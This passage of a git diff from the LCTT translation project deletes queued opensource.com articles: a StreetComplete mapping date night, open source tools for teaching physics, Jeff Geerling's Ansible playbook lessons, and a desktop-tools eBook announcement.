https://opensource.com/users/alex-bunardzic -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/car-penguin-drive-linux-yellow.png?itok=twWGlYAc (Penguin driving a car with a yellow background) -[2]: https://en.wikipedia.org/wiki/Single_responsibility_principle diff --git a/sources/tech/20200128 How I had a nerdy date night with StreetComplete quests.md b/sources/tech/20200128 How I had a nerdy date night with StreetComplete quests.md deleted file mode 100644 index 73f163fc01..0000000000 --- a/sources/tech/20200128 How I had a nerdy date night with StreetComplete quests.md +++ /dev/null @@ -1,68 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How I had a nerdy date night with StreetComplete quests) -[#]: via: (https://opensource.com/article/20/1/streetcomplete-crowdsource-maps) -[#]: author: (Jess Weichler https://opensource.com/users/cyanide-cupcake) - -How I had a nerdy date night with StreetComplete quests -====== -Find an adventure in your own backyard with this fun app. -![A map with a route highlighted][1] - -StreetComplete is an Android app that makes it fun and easy to contribute to open data by completing quests. - -Quests are used to fill in incomplete or inaccurate information on [OpenStreetMap][2], an open data project dedicated to mapping the world through crowdsourcing. Anyone can contribute to the map and, thanks to free culture and open source licenses, that data can then be used by anyone for anything, from video games to custom map applications and artwork. - -![hands holding phone][3] - -My first intro to StreetComplete was on a charmingly unique date night with my partner. Instead of dinner and a movie, we explored the streets of our town, both the familiar and unfamiliar, answering questions about features of topography, shopfronts, pedestrian crossing, and more. We got to see our town in a new light, and we felt we were ultimately helping others discover it along with us. - -If this sounds like something you’d like to get involved with, it’s super simple to get started. Just follow the steps below: - - 1. [Download the app][4] to your phone from F-Droid or Google Play. It’s licensed under GPLv3. - 2. Allow StreetComplete to access your device’s location. - 3. Click the menu in the upper right corner, and select Settings. - 4. In the Settings menu, select Authorize OSM access. This will open OpenStreetMap in your browser, where you can register for an account or login if you already have one. - 5. Authorize access to your account. - - - -Now you’re ready to go! - -### Completing quests - -To complete quests, walk around the area of your choosing. Quests appear as pins on the map. Symbols inside pins denote the type of task, such as a wheelchair for an accessibility quest or leaf for a plant-based quest. Quests involve simple questions about various features, with clear multiple choice answers and visuals when necessary. - -Quests can be chosen at random, though the app will question your response if you try to complete a quest when you are not nearby. I live in a small town, so I especially enjoyed quests that required us to ask questions of shop owners because it allowed us to connect with the community in real life while contributing to the global community online. - -![StreetComplete map image][5] - -If you live in a mobile deadzone or have a limited mobile plan, you can still have fun questing for map data; StreetComplete has an offline mode. To use it, activate the offline download option in the app settings menu. Once your region has downloaded, perform a search for nearby quests, then go out and explore. - -When you are back online, the data you’ve input as quest responses are uploaded to the OpenStreetMap servers. - -StreetComplete is a great way to investigate new areas or even locations you may already be somewhat familiar with. With its graphical, flat design and simple quests, it makes a perfect activity for couples, friends, and families to complete together. - -Maps touch our lives daily. Whether you are trying to find a nearby point of interest or directions... - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/1/streetcomplete-crowdsource-maps - -作者:[Jess Weichler][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/cyanide-cupcake -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/map_route_location_gps_path.png?itok=RwtS4DsU (A map with a route highlighted) -[2]: https://www.openstreetmap.org -[3]: https://opensource.com/sites/default/files/uploads/image1_street.png (hands holding phone) -[4]: https://github.com/westnordost/StreetComplete -[5]: https://opensource.com/sites/default/files/uploads/image2_street.jpeg (StreetComplete map image) diff --git a/sources/tech/20200128 How I teach physics using open source tools.md b/sources/tech/20200128 How I teach physics using open source tools.md deleted file mode 100644 index a1e695781d..0000000000 --- a/sources/tech/20200128 How I teach physics using open source tools.md +++ /dev/null @@ -1,175 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How I teach physics using open source tools) -[#]: via: (https://opensource.com/article/20/1/teach-physics-open-source) -[#]: author: (Cristiano L. Fontana https://opensource.com/users/cristianofontana) - -How I teach physics using open source tools -====== -A roundup of open source tools ideal for teaching physics (and other -subjects). -![Person reading a book and digital copy][1] - -The nice aspect of being a physicist and a researcher is the openness of our community. There is a lot of collaboration and sharing of ideas (especially during coffee breaks). We also tend to share the software we write. Since we are very picky about algorithms, we want to modify other people’s code to fix the obvious errors that we find. It feels frustrating when I have to use proprietary tools since I cannot understand their inner workings. Having grown up professionally in such an environment, open source has been my go-to solution for all the software I use. - -When I became the regular teacher of the Physics and Biophysics course at the [medical school][2] at my [university][3], I decided to use only open source software to prepare my lectures. Here is my experience so far and the solutions I found. - -### Study material - -Teaching is not easy. You should first understand the subject and then figure out how to communicate with somebody that knows nothing about the subject; therefore, it is of paramount importance to study the subject in depth and prepare the lectures well in advance. There are countless books about physics, but there are also some interesting, freely available resources. Most of these do not count as open source, as they cannot be modified, but they are useful anyways. - - * [HyperPhysics][4] may have an outdated look, but it is a treasure trove of interesting concepts and insights by Carl R. Nave, Department of Physics and Astronomy Georgia State University. - * [Open Source Physics][5] has a fabulous collection of applets and support material. I met some of the maintainers at various conferences, and they are remarkable people. - * [OpenStax][6] is a nonprofit educational initiative based at Rice University that publishes textbooks that are free online. They have a good library and several works about physics in their [scientific section][7]. - * [Open Textbook Library][8] provides a catalog of free textbooks with a [physics section][9] as well. Some of the titles have reviews by users. - * [Motion Mountain][10] is a collection of books about physics in general by C. Schiller that has also been translated into several languages. - * [Light and Matter][11] is another collection of writings about different aspects of physics, all authored by B. Crowell of Fullerton College, CA. - * [Wikipedia][12], what more can I say? - - - -### Lecturing style - -Before preparing my support material, I had to decide whether I preferred to use the blackboard or slideshows during the lectures. I opted to use both with the idea of showing hard-to-draw graphics in the slideshows and writing down equations on the blackboard. Eventually, the slideshows became much more prevalent. I use them as the draft of my lecture, helping me to keep track of what I want to say. I also added the mathematical proofs that I want to show to have a correct reference during the lecture. - -Instead of using a blackboard, I ended up using a [graphics tablet][13] for all the notes I write during the lectures. I use the tablet for three main purposes: to draw additional drawings to explain myself better, to write down equations and proofs, and to write down the key messages that I want my students to remember. Even if what I write is already on the slideshows, actually writing it by hand during the lectures gives the students the time to write it down in their notes. After the lectures, I share, on my website, both the slideshows and my notes. - -![Figure: Example of notes taken during class with the graphics tablet and Krita][14] - -Figure: Example of notes taken during class with the graphics tablet and Krita - -### Material preparation - -#### Slideshows - -Since math is the language of physics, I needed a practical way to write down equations in my slideshows. Probably, the best tool for that is [LaTeX][15], but it was designed to typeset books and not slides. Luckily, there is the [Beamer class][16] that allows you to typeset slideshows with LaTeX. The resulting file is a very portable PDF. The layout is nice and clean and forces me not to overstuff each slide. From the same source code, I can prepare two versions of the file. The lecture version follows the guidelines of the university’s [corporate identity][17] (_i.e.,_ with a thick red border), while the handout version has a cleaner layout (_e.g.,_ without the thick borders), thus allowing it to be printed without wasting printer toner. I have also seen students taking notes directly on the PDFs of the handouts on their tablets and computers. - -The only drawback of using LaTeX and Beamer is the impossibility of embedding videos in the produced presentation. I, therefore, have to keep as a separate file the occasional videos that I show during class. - -![Figure: Examples of slides created with LaTeX and Beamer][18] - -Figure: Examples of slides created with LaTeX and Beamer - -![Figure: Examples of slides created with LaTeX and Beamer][19] - -Figure: Examples of slides created with LaTeX and Beamer - -#### Images and diagrams - -Something that I am careful about is the licensing of the graphics I use. As such, I never use graphics that do not allow me to redistribute my modifications. I drew most of the images in my slideshows. If I use other people’s work, I always reference it in my slide. - -I prefer to use [vector graphics][20] whenever practicable because they can be easily modified and adjusted afterward. I use the exceptional [Inkscape][21] for my vector graphics. On the other hand, for my [raster graphics][22], I use [GIMP][23]. When I need a 3D looking diagram, I use [Blender][24] to draw the scene; then I trace the rendered image with Inkscape to convert it to vectorial. I recently discovered [FreeCAD][25], which has the striking feature that it can directly export the 3D scene to some vectorial format. I can then adjust the image with Inkscape without having to trace the raster image. - -In all my diagrams, I am trying to keep a consistent look, and therefore I limit myself to a 10-[color palette][26], both from [d3][27] and [matplotlib][28]. I also use the same palette in my slides to highlight quantities in reference to the illustrations. To produce [plots][29] and [graphs][30], I write Python scripts and employ the matplotlib graphical library. - -![Figure: Diagram example created with Inkscape by tracing a Blender 3D diagram][31] - -Figure: Diagram example created with Inkscape by tracing a Blender 3D diagram - -#### Multimedia support - -I have prepared a few pages with applets that demonstrate some phenomena that I describe during my lectures (e.g., [modeling radioactive decay with dice][32]). I opted to offer these applets on my institutional webpage to easily reach all the students instead of requiring them to install software to run them. The necessary choice was to employ [JavaScript][33] and some supporting libraries, such as [jQuery][34] for compatibility between browsers, [MathJax][35] for typesetting math in the webpages, or [d3][27] for graphics display. Since my institution does not provide the capability of writing dynamic webpages, I am using [Jekyll][36], which is a static site generator. Jekyll allows me to have a consistent look and feel across all the pages without having to write HTML code. - -![Figure: Dice modeling radioactive decay, image of the interactive simulation][37] - -Figure: Dice modeling radioactive decay, image of the [interactive simulation][32] - -### Lecturing software - -Since my slideshows are PDF files, to show them during the lecture, I use the [default document viewer][38] of my [GNOME 3][39] desktop environment. There is also the alternative of using [Okular][40], which allows annotating the PDFs, but I prefer not to use it, as the annotations would not be carried over to the handouts. In conjunction with the graphical tablet, I use the excellent painting program [Krita][41]. I use the image layers as new pages of my notes. This approach is more practical during the lecture than creating a series of new files. I can also duplicate layers and edit them or load vectorial images and draw over them. Krita has the possibility of writing custom [Python plugins][42], so I prepared a script that exports a PDF file with a new page for each layer. - -![Figure: Screenshot of Krita used in class to write notes][43] - -Figure: Screenshot of Krita used in class to write notes - -When we go through exercises in class, I use the calculator [Qalculate][44] to obtain numerical results. Its particular feature is that it can perform calculations with units associated with the numbers. I can focus more on the exercise resolution than on the units’ conversions. This is a double-edged sword, though, as the students would not learn how to do the conversions themselves. Therefore, I normally start to use Qalculate halfway through the course. [wxMaxima][45] can also support exercise resolution, symbolically solving some difficult equations. - -![Figure: Screenshot of Qalculate][46] - -Figure: Screenshot of Qalculate - -### Video lectures - -Sometimes I offer streaming lectures on YouTube, or I upload a video with additional mini-lectures. It has happened that the students have wanted a more in-depth explanation of some subjects. Offering these as a video allows them to take their time to listen and understand the subjects. For these videos, I use [OBS studio][47], which can record or directly stream videos to YouTube. OBS can put on the video scene the screen image and some additional video sources, such as a web camera. To edit the videos, I have been using [OpenShot][48]. - -![Figure: Screenshot of OBS studio recording the screen][49] - -Figure: Screenshot of OBS studio recording the screen - -### Conclusions - -This is the set of open source tools that I have been using to prepare and support my lectures. Over the years, I changed some of them whenever I discovered some better fitting tools or if I changed my lecturing style. To be frank, due to laziness, one of the requirements for all the tools is that they have to be easily installable. I use [Fedora][50] on my laptop, and its repository has packages for all this software. On the [CentOS][51] installation of my desktop computer, I had worse luck. For instance, Krita and OBS are available only through [Flatpak][52]. - -Writing this article just made me realize how many tools I am actively using for my lectures. Maybe there are some all-in-one solutions, such as [LibreOffice Impress][53], but I am very satisfied with the results I am getting. Besides, all this software has other useful applications. - -Leave comments if you have questions. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/1/teach-physics-open-source - -作者:[Cristiano L. Fontana][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/cristianofontana -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/read_book_guide_tutorial_teacher_student_apaper.png?itok=_GOufk6N (Person reading a book and digital copy) -[2]: https://www.medicinachirurgia.unipd.it/ -[3]: https://www.unipd.it/ -[4]: http://hyperphysics.phy-astr.gsu.edu/ -[5]: https://www.compadre.org/osp/ -[6]: https://openstax.org/ -[7]: https://openstax.org/subjects/science -[8]: https://open.umn.edu/opentextbooks -[9]: https://open.umn.edu/opentextbooks/subjects/physics -[10]: http://www.motionmountain.net/ -[11]: http://www.lightandmatter.com/ -[12]: https://en.wikipedia.org/wiki/Main_Page -[13]: https://en.wikipedia.org/wiki/Graphics_tablet -[14]: https://opensource.com/sites/default/files/uploads/circuit_notes_0.jpg (Figure: Example of notes taken during class with the graphics tablet and Krita) -[15]: https://www.latex-project.org/ -[16]: https://github.com/josephwright/beamer -[17]: https://en.wikipedia.org/wiki/Corporate_identity -[18]: https://opensource.com/sites/default/files/uploads/slide_laplace.png (Figure: Examples of slides created with LaTeX and Beamer) -[19]: https://opensource.com/sites/default/files/uploads/slide_faraday.png (Figure: Examples of slides created with LaTeX and Beamer) -[20]: https://en.wikipedia.org/wiki/Vector_graphics -[21]: https://inkscape.org/ -[22]: https://en.wikipedia.org/wiki/Raster_graphics -[23]: https://www.gimp.org/ -[24]: https://www.blender.org/ -[25]: https://www.freecadweb.org/ -[26]: https://github.com/d3/d3-3.x-api-reference/blob/master/Ordinal-Scales.md#category10 -[27]: https://d3js.org/ -[28]: https://matplotlib.org/ -[29]: https://en.wikipedia.org/wiki/Plot_(graphics) -[30]: https://en.wikipedia.org/wiki/Graph_of_a_function -[31]: https://opensource.com/sites/default/files/uploads/electromagnetic_wave.png (Figure: Diagram example created with Inkscape by tracing a Blender 3D diagram) -[32]: http://www2.pd.infn.it/~fontana/project/teaching/2018/01/02/dice-decay.html -[33]: https://en.wikipedia.org/wiki/JavaScript -[34]: https://jquery.com/ -[35]: https://www.mathjax.org/ -[36]: https://jekyllrb.com/ -[37]: https://opensource.com/sites/default/files/uploads/dice_decay.png (Figure: Dice modeling radioactive decay, image of the interactive simulation) -[38]: https://wiki.gnome.org/Apps/Evince -[39]: https://www.gnome.org/gnome-3/ -[40]: https://okular.kde.org/ -[41]: https://krita.org/en/ -[42]: https://docs.krita.org/en/user_manual/python_scripting.html -[43]: https://opensource.com/sites/default/files/uploads/krita_screenshot_0.png (Figure: Screenshot of Krita used in class to write notes) -[44]: https://qalculate.github.io/ -[45]: https://wxmaxima-developers.github.io/wxmaxima/ -[46]: https://opensource.com/sites/default/files/uploads/qalculate_screenshot.png (Figure: Screenshot of Qalculate) -[47]: https://obsproject.com/ -[48]: https://www.openshot.org/ -[49]: https://opensource.com/sites/default/files/uploads/obs_screenshot.png (Figure: Screenshot of OBS studio recording the screen) -[50]: https://getfedora.org/ -[51]: https://www.centos.org/ -[52]: https://flatpak.org/ -[53]: https://www.libreoffice.org/discover/impress/ diff --git a/sources/tech/20200129 3 lessons I-ve learned writing Ansible playbooks.md b/sources/tech/20200129 3 lessons I-ve learned writing Ansible playbooks.md deleted file mode 100644 index a2cfe25265..0000000000 --- a/sources/tech/20200129 3 lessons I-ve learned writing Ansible playbooks.md +++ /dev/null @@ -1,221 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (3 lessons I've learned writing Ansible playbooks) -[#]: via: (https://opensource.com/article/20/1/ansible-playbooks-lessons) -[#]: author: (Jeff Geerling https://opensource.com/users/geerlingguy) - -3 lessons I've learned writing Ansible playbooks -====== -Avoid common pitfalls and supercharge your Ansible playbook maintenance -by following these best practices. -![plastic game pieces on a board][1] - -I've used Ansible since 2013 and maintain some of my original playbooks to this day. They have evolved with Ansible from version 1.4 to the current version (as of this writing, 2.9). - -Along the way, as Ansible grew from having dozens to hundreds and now thousands of modules, I've learned a lot about how to make sure my playbooks are maintainable and scalable as my systems grow. Even for simple projects (like the [playbook I use to manage my own laptop][2]), it pays dividends to avoid common pitfalls and make decisions that will make the future you thankful instead of regretful. - -The three main takeaways from this experience are: - - 1. Stay organized - 2. Test early and often - 3. Simplify, optimize - - - -The importance of each lesson I've learned follows in that order, too; it's no use trying to optimize something (point 3) that's already poorly assembled (point 1). Each step builds on the one above, so I'll guide you through each step. - -### Stay organized - -![Organized bins of equipment][3] - -At a bare minimum, you should **store your Ansible playbooks in a Git repository**. This helps with so many things: - - 1. Once you have a known working state, you can commit the work (ideally, with tags marking major versions, like 1.0.0 for the first stable version and 2.0.0 for an upgrade or rewrite). - 2. You can always walk back changes if necessary to a previous known-working state (e.g., by using `git reset` or `git checkout `). - 3. Large-scale changes (e.g., feature additions or a major upgrade) can be worked on in a branch, so you can still maintain the existing playbook and have adequate time to work on major changes. - - - -Storing playbooks in Git also helps with the second important organization technique: **run your playbooks from a build server**. - -Whether you use [Ansible Tower][4], [Jenkins][5], or some other build system, using a central interface for playbook runs gives you consistency and stability—you don't risk having one admin run a playbook one way (e.g., with the wrong version of roles or an old checkout) and someone else running it another way, breaking your servers. - -It also helps because it forces you to ensure all your playbook's resources are encapsulated in the playbook's repository and build configuration. Ideally, the entire build (including the job configuration) would be captured in the repository (e.g., through the use of a `Jenkinsfile` or its equivalent). - -Another important aspect to organization is **documentation**; at a bare minimum, I have a README in every playbook repository with the following contents: - - * The playbook's purpose - * Links to relevant resources (CI build status, external documentation, issue tracking, primary contacts) - * Instructions for local testing and development - - - -Even if you have the playbook automated through a build server, it is important to have thorough and correct documentation for how to run the playbook otherwise (e.g., locally in a test environment). I like to make sure my projects are easily approachable—not only for others who might eventually need to work with them but also myself! I often forget a nuance or dependency when running a playbook, and the README is the perfect place to outline any peculiarities. - -Finally, the _structure_ of the Ansible tasks themselves are important, and I like to ensure I have a maintainable structure by having **small, readable task files** and by extracting related sets of tasks into **Ansible roles**. - -Generally, if an individual playbook reaches around 100 lines of YAML, I'll start breaking it up into separate task files and using `include_tasks` to include those files. If I find a set of tasks that operates independently and could be broken out into its own [Ansible role][6], I'll work on extracting those tasks and related handlers, variables, and templates. - -Using roles is the best way to supercharge Ansible playbook maintenance; I often have to do similar tasks in many (if not most) playbooks, like managing user accounts or installing and configuring a web server or database. Abstracting these tasks into Ansible roles means I can maintain one set of tasks to be used among many playbooks, with variables to give flexibility where needed. - -Ansible roles can also be contributed back to the community via [Ansible Galaxy][7] if you're able to make them generic and provide the code with an open source license. I have contributed over a hundred roles to Galaxy, and they are made better by the fact that thousands of other playbooks (besides my own) rely on them and break if there is a bug in the role. - -One final note on roles: If you choose to use external roles (either from Galaxy or a private Git repository), I recommend committing the role to your repository (instead of adding it to a `.gitignore` file and downloading the role every time you run your playbook) because I like to avoid relying on downloads from Ansible Galaxy for every playbook run. You should still use a `requirements.yml` file to define role dependencies and define specific versions for the roles so you can choose when to upgrade your dependencies. - -### Test early and often - -![A stack of computer boards][8] - -Ansible allows you to define infrastructure as code. And like any software, it is essential to be able to verify that the code you write does what you expect. - -Like any software, it's best to _test_ your Ansible playbooks. And when I consider testing for any individual Ansible project I build, I think of a spectrum of CI testing options I can use, going in order from the easiest to hardest to implement: - - 1. `yamllint` - 2. `ansible-playbook --syntax-check` - 3. `ansible-lint` - 4. [Molecule test][9] (integration tests) - 5. `ansible-playbook --check` (testing against production) - 6. Building parallel infrastructure - - - -The first three options (linting and running a syntax check on your playbook) are essentially free; they run very fast and can help you avoid the most common problems with your playbook's task structure and formatting. - -They provide some value, but unless the playbook is extremely simple, I like to go beyond basic linting and run tests using [Molecule][9]. I usually use Molecule's built-in Docker integration to run my playbook against a local Docker instance running the same base OS as my production server. For some of my roles, which I run on different Linux distributions (e.g., CentOS and Debian), I run the Molecule test playbook once for each distro—and sometimes with extra test scenarios for more complex roles. - -If you're interested in learning how to test roles with Molecule, I wrote a blog post on the topic a couple of years ago called [Testing your Ansible roles with Molecule][10]. The process for testing full playbooks is similar, and in both cases, the tests can be run inside most CI environments (for example, my [geerlingguy.apache][11] role runs a suite of [Molecule tests via Travis CI][12]). - -The final two test options, running the playbook in `--check` mode or building parallel production infrastructure, require more setup work and often go beyond what's necessary for efficient testing processes. But in cases where playbooks manage servers critical to business revenue, they can be necessary. - -There are a few other things that are important to watch for when running tests and periodically checking or updating your playbooks: - - * Make sure you track (and fix) any `DEPRECATION WARNING`s you see in Ansible's output. Usually, you'll have a year or two before the warning leads to a failure in the latest Ansible version, so the earlier you can update your playbook code, the better. - * Every Ansible version has a [porting guide][13]) that is extremely helpful when you're updating from one version to the next. - * If you see annoying `WARN` messages in playbook output when you're using a module like `command`, and you know you can safely ignore them, you can add a `warn: no` under the `args` in a task. It's better to squelch these warnings so that more actionable warnings (like deprecation warnings) will be noticed at a glance. - - - -Finally, I like to make sure my CI environments are always running the latest Ansible release (and not locked into a specific version that I know works with my playbooks), because I know if a playbook will break right after the new release comes out. My build server is locked into a specific Ansible version, which may be one or two versions behind the latest version, so this gives me the time to ensure I fix any new issues discovered in CI tests before I upgrade my build server to the latest version. - -### Simplify, optimize - -![Charging AirPods][14] - -> "YAML is not a programming language." -> — Jeff Geerling - -Simplicity in your playbooks makes maintenance and future changes a lot easier. Sometimes I'll look at a playbook and be puzzled as to what's happening because there are multiple `when` and `until` conditions with a bunch of Python mixed in with Jinja filters. - -If I start to see more than one or two chained filters or Python method calls (especially anything having to do with regular expressions), I see that as a prime candidate for rewriting the required functionality as an Ansible module. The module could be maintained in Python and tested independently and would be easier to maintain as strictly Python code rather than mixing in all the Python inline with your YAML task definitions. - -So my first point is: Stick to Ansible's modules and simple task definitions as much as possible. Try to use Jinja filters wherever possible, and avoid chaining more than one or two filters on a variable at a time. If you have a lot of complex inline Python or Jinja, it's time to consider refactoring it into a custom Ansible module. - -Another common thing I see people do, especially when building out roles the first time, is using complex dict variables where separate "flat" variables may be more flexible. - -For example, instead of having an **apache** role with many options in one giant dict, like this: - - -``` -apache: -  startservers: 2 -  maxclients: 2 -``` - -And consider using separate flat variables: - - -``` -apache_startservers: 2 -apache_maxclients: 2 -``` - -The reason for this is simple: Using flat variables allows playbooks to override one particular value easily, without having to redefine the entire dictionary. This is especially helpful when you have dozens (or in some rare cases, _hundreds_) of default variables in a role. - -Once the playbook and role code looks good, it's time to start thinking about **optimization**. - -A few of the first things I look at are: - - * Can I disable `gather_facts`? Not every playbook needs all the facts, and it adds a bit of overhead on every run, on every server. - * Can I increase the number of `forks` Ansible uses? The default is five, but if I have 50 servers, can I operate on 20 or 25 at a time to vastly reduce the amount of time Ansible takes to run a playbook on all the servers? - * In CI, can I parallelize test scenarios? Instead of running one test, then the next, if I can start all the tests at once, it will make my CI test cycle much faster. If CI is slow, you'll tend to ignore it or not wait until the test run is complete, so it's important to make sure your test cycle is short. - - - -When I'm looking through tasks in a role or playbook, I also look for a few blatant performance issues that are common with certain modules: - - * When using `package` (or `apt`, `yum`, `dnf`, etc.), if there is more than one package being managed, the list should be passed directly to the `name` parameter and not via `with_items` or a `loop`—this way Ansible can efficiently operate on the whole list in one go instead of doing it package by package. - * When using `copy`, how many files are being copied? If there is a single file or even a few dozen, it might be fine, but the `copy` module is very slow if you have hundreds or thousands of files to be copied (better to use a module like `synchronize` or a different strategy like copying a tarball and expanding it on the server). - * If using `lineinfile` in a loop, it might be more efficient (and sometimes easier to maintain) to use `template` instead and control the entire file in one pass. - - - -Once I've gotten most of the low-hanging fruit out of the way, I like to profile my playbook, and Ansible has some built-in tools for this. You can configure extra callback plugins to measure role and task performance by setting the `callback_whitelist` option under `defaults` in your `ansible.cfg`: - - -``` -[defaults] -callback_whitelist = profile_roles, profile_tasks, timer -``` - -Now, when you run your playbook, you get a summary of the slowest roles and tasks at the end: - - -``` -Monday 10 September       22:31:08 -0500 (0:00:00.851)       0:01:08.824 ****** -=============================================================================== -geerlingguy.docker ------------------------------------------------------ 9.65s -geerlingguy.security ---------------------------------------------------- 9.33s -geerlingguy.nginx ------------------------------------------------------- 6.65s -geerlingguy.firewall ---------------------------------------------------- 5.39s -geerlingguy.munin-node -------------------------------------------------- 4.51s -copy -------------------------------------------------------------------- 4.34s -geerlingguy.backup ------------------------------------------------------ 4.14s -geerlingguy.htpasswd ---------------------------------------------------- 4.13s -geerlingguy.ntp --------------------------------------------------------- 3.94s -geerlingguy.swap -------------------------------------------------------- 2.71s -template ---------------------------------------------------------------- 2.64s -... -``` - -If anything takes more than a few seconds, it might be good to figure out exactly why it's taking so long. - -### Summary - -I hope you learned a few ways you can make your Ansible Playbooks more maintainable; as I said in the beginning, each of the three takeaways (stay organized, test, then simplify and optimize) builds on the previous, so start by making sure you have clean, documented code, then make sure it's well-tested, and finally look at how you can make it even better and faster! - -* * * - -_This article is a follow up to Jeff's presentation, [Make your Ansible playbooks flexible, maintainable, and scalable][15], at AnsibleFest 2018, which you can [watch here][16]._ - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/1/ansible-playbooks-lessons - -作者:[Jeff Geerling][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/geerlingguy -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/team-game-play-inclusive-diversity-collaboration.png?itok=8sUXV7W1 (plastic game pieces on a board) -[2]: https://github.com/geerlingguy/mac-dev-playbook -[3]: https://opensource.com/sites/default/files/uploads/organized.jpg (Organized bins of equipment) -[4]: https://www.ansible.com/products/tower -[5]: https://jenkins.io -[6]: https://docs.ansible.com/ansible/latest/user_guide/playbooks_reuse_roles.html -[7]: https://galaxy.ansible.com -[8]: https://opensource.com/sites/default/files/uploads/test-early-often.jpg (A stack of computer boards) -[9]: https://molecule.readthedocs.io/en/stable/ -[10]: https://www.jeffgeerling.com/blog/2018/testing-your-ansible-roles-molecule -[11]: https://github.com/geerlingguy/ansible-role-apache -[12]: https://travis-ci.org/geerlingguy/ansible-role-apache -[13]: https://docs.ansible.com/ansible/latest/porting_guides/porting_guides.html -[14]: https://opensource.com/sites/default/files/uploads/simplify-optimize.jpg (Charging AirPods) -[15]: https://www.jeffgeerling.com/blog/2019/make-your-ansible-playbooks-flexible-maintainable-and-scalable-ansiblefest-austin-2018 -[16]: https://www.youtube.com/watch?v=kNDL13MJG6Y diff --git a/sources/tech/20200129 7 open source desktop tools- Download our new eBook.md b/sources/tech/20200129 7 open source desktop tools- Download our new eBook.md deleted file mode 100644 index 303f86919c..0000000000 --- a/sources/tech/20200129 7 open source desktop tools- Download our new eBook.md +++ /dev/null @@ -1,52 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (7 open source desktop tools: Download our new eBook) -[#]: via: (https://opensource.com/article/20/1/open-source-desktop-tools-guide) -[#]: author: (Seth Kenlon https://opensource.com/users/seth) - -7 open source desktop tools: Download our new eBook -====== -Choice is more than a feature of Linux; it's a way of life thanks to a -wealth of open source tools. -![Browser of things][1] - -Linux users say that choice is one of the platform's strengths. On the surface, this might sound self-aggrandizing (or self-deprecating, depending on your perspective). Other operating systems offer choice, too, but once you look at the options available for nearly anything you want to do on Linux, it doesn't take long to conclude that a new word ought to be invented for what we mean by "choice." - -User choice isn't a "feature" of Linux; it's a way of life. Whether you're looking for a whole new desktop or just a new system tray, Linux hackers provide you options. You might also be able to hack some simple commands together to create a batch processor for yourself—and you might publish it online for others, thereby contributing to the array of choice. - -With so many options available, it can be a real challenge to find the solutions you prefer. One of the most effective ways to discover cool new things in the Linux world is through personal recommendation. That's one of the many reasons Opensource.com covers what might seem like random applications—through sharing your experiences with software, others can discover new applications to love without the pain of rummaging through piles of choice. - -### Sharing and open source - -Obviously, you can share software _recommendations_ with friends, whether the software is open source or not. However, in the proprietary world, you can't share the software that you're recommending, and in the world of proprietary software as a service (SaaS), part of the act of sharing is the key component to a pyramid scheme for more user data. It's not quite the same as the no-strings-attached gift of open source. - -Sharing is an integral part of free and open source software. It's one of the [four freedoms][2] defined by the Free Software Foundation, and it's the central concern of [Creative Commons][3]. - -While it's easy to fall into the trap of viewing open source sharing as something that applies only to lines of sometimes cryptic-looking code, it goes well beyond that. Sharing is almost endemic to open culture, explicitly allowing and encouraging it on every level, from code, to tutorials and tips, to physical redistribution of a wealth of common goods and services. Part of that is the simple act of telling others about a cool technology that has improved the way we work and live. - -### Download the eBook - -Opensource.com contributor and productivity aficionado Kevin Sonney has shared many of his favorite desktop applications in our latest eBook, [7 open source desktop tools][4]. As is often the case in the open source world, he doesn't just share his knowledge about his favorite desktop tools, he explains how and why he chooses those tools to help you can evaluate them for yourself. Download it today! - -### [Download the 7 open source desktop tools eBook][4] - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/1/open-source-desktop-tools-guide - -作者:[Seth Kenlon][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/seth -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/browser_desktop_website_checklist_metrics.png?itok=OKKbl1UR (Browser of things) -[2]: https://www.gnu.org/philosophy/free-sw.en.html -[3]: https://creativecommons.org -[4]: https://opensource.com/downloads/desktop-tools diff --git a/sources/tech/20200129 What Amazon Kindle- Here-s an Open Source eBook Reader.md b/sources/tech/20200129 What Amazon Kindle- Here-s an Open Source eBook Reader.md deleted file mode 100644 index 7106bb596b..0000000000 --- a/sources/tech/20200129 What Amazon Kindle- Here-s an Open Source eBook Reader.md +++ /dev/null @@ -1,109 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: 